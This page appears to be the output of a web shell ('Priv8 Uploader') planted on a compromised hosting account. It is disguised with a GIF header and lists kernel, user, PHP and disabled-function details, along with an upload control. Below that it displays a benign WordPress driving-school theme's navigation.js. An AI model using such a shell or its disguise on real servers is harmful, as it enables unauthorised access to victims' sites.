GIF89a;

Priv8 Uploader By InMyMine7

Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
HEX
HEX
Server: Apache
System: Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
User: web78 (5067)
PHP: 8.3.30
Disabled: exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec
Upload Files
File: /var/www/clients/client41/web78/web/wp-content/themes/chalak-driving-school/assets/js/navigation.js
/**
 * Theme functions file.
 *
 * Contains handlers for navigation and widget area.
 */

jQuery(function($){
 	"use strict";
   	jQuery('.main-menu-navigation > ul').superfish({
		delay:       500,
		animation:   {opacity:'show',height:'show'},  
		speed:       'fast'
	});

 	$( window ).scroll( function() {
		if ( $( this ).scrollTop() > 200 ) {
			$( '.back-to-top' ).addClass( 'show-back-to-top' );
		} else {
			$( '.back-to-top' ).removeClass( 'show-back-to-top' );
		}
	});

	// Click event to scroll to top.
	$( '.back-to-top' ).click( function() {
		$( 'html, body' ).animate( { scrollTop : 0 }, 500 );
		return false;
	});
});

function chalak_driving_school_open() {
	jQuery(".sidenav").addClass('show');
}
function chalak_driving_school_close() {
	jQuery(".sidenav").removeClass('show');
}

function chalak_driving_school_menuAccessibility() {
	var links, i, len,
	    chalak_driving_school_menu = document.querySelector( '.nav-menu' ),
	    chalak_driving_school_iconToggle = document.querySelector( '.nav-menu ul li:first-child a' );
    
	let chalak_driving_school_focusableElements = 'button, a, input';
	let chalak_driving_school_firstFocusableElement = chalak_driving_school_iconToggle; // get first element to be focused inside menu
	let chalak_driving_school_focusableContent = chalak_driving_school_menu.querySelectorAll(chalak_driving_school_focusableElements);
	let chalak_driving_school_lastFocusableElement = chalak_driving_school_focusableContent[chalak_driving_school_focusableContent.length - 1]; // get last element to be focused inside menu

	if ( ! chalak_driving_school_menu ) {
    	return false;
	}

	links = chalak_driving_school_menu.getElementsByTagName( 'a' );

	// Each time a menu link is focused or blurred, toggle focus.
	for ( i = 0, len = links.length; i < len; i++ ) {
	    links[i].addEventListener( 'focus', toggleFocus, true );
	    links[i].addEventListener( 'blur', toggleFocus, true );
	}

	// Sets or removes the .focus class on an element.
	function toggleFocus() {
      	var self = this;

      	// Move up through the ancestors of the current link until we hit .mobile-menu.
      	while (-1 === self.className.indexOf( 'nav-menu' ) ) {
	      	// On li elements toggle the class .focus.
	      	if ( 'li' === self.tagName.toLowerCase() ) {
	          	if ( -1 !== self.className.indexOf( 'focus' ) ) {
	          		self.className = self.className.replace( ' focus', '' );
	          	} else {
	          		self.className += ' focus';
	          	}
	      	}
	      	self = self.parentElement;
      	}
	}
    
	// Trap focus inside modal to make it ADA compliant
	document.addEventListener('keydown', function (e) {
	    let isTabPressed = e.key === 'Tab' || e.keyCode === 9;

	    if ( ! isTabPressed ) {
	    	return;
	    }

	    if ( e.shiftKey ) { // if shift key pressed for shift + tab combination
	      	if (document.activeElement === chalak_driving_school_firstFocusableElement) {
		        chalak_driving_school_lastFocusableElement.focus(); // add focus for the last focusable element
		        e.preventDefault();
	      	}
	    } else { // if tab key is pressed
	    	if (document.activeElement === chalak_driving_school_lastFocusableElement) { // if focused has reached to last focusable element then focus first focusable element after pressing tab
		      	chalak_driving_school_firstFocusableElement.focus(); // add focus for the first focusable element
		      	e.preventDefault();
	    	}
	    }
	});   
}

jQuery(function($){
	$('.mobile-menu').click(function () {
	    chalak_driving_school_menuAccessibility();
  	});
});